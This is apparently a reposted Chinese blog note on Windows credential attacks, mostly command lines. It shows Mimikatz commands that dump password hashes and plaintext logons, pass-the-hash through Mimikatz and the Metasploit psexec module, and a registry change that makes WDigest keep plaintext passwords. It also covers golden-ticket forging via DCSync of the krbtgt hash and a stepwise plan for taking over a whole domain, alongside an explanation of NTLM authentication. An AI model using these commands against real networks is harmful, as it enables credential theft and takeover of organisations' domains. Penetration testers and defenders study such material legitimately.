Hash(Key) 获取
- 工具: Mimikatz
- 用法:
.\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话) sekurlsa::ekeys #获取kerberos加密凭证
Hash(Key)传递
Mimikatz
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash传递 sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key传递
Metaspolit
传递Hash
msf> use windows/smb/psexec msf exploit(windows/smb/psexec)>set rhost a.b.c.d msf exploit(windows/smb/psexec)>set rport 445 (139会更好一点) msf exploit(windows/smb/psexec)>set smbuser xxxx msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash msf exploit(windows/smb/psexec)>set domain xxxx msf exploit(windows/smb/psexec)>exploit
Windows NTLM哈希传递和票据的原理
Windows验证的流程
- 1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
- 2.客户端将username明文传输到域控机
- 3.然后域控会随机生成16字节的challenge挑战码返回给客户端
- 4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
- 5.服务端将客户端发来的信息转发给域控
- 6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。
kerberos协议认证原理
请参考我的博文Kerberos认证协议分析
Hash的利用方式
NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:
- 1.获得一台域主机的权限
- 2.Dump内存获得用户hash
- 3.通过pass the hash尝试登录其他主机
- 4.继续搜集hash并尝试远程登录
- 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域
引用:
但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击
票据的利用方式
kerberos有两种平票据:一种是silver ticket,有账号hash加密,可以访问特定的服务;另外一种是golden ticket,可以访问域内所有服务;这个黄金票据是用kerberos账户的hash生成的,我们来看下操作:
# 1 首先我们要抓取kerboers的hash lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt # 2 生成票据 kerberos::purge kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi # 3 获取权限 kerberos::ptt administrator.kiribi kerberos::tgt
来源:https://www.cnblogs.com/KevinGeorge/p/9265550.html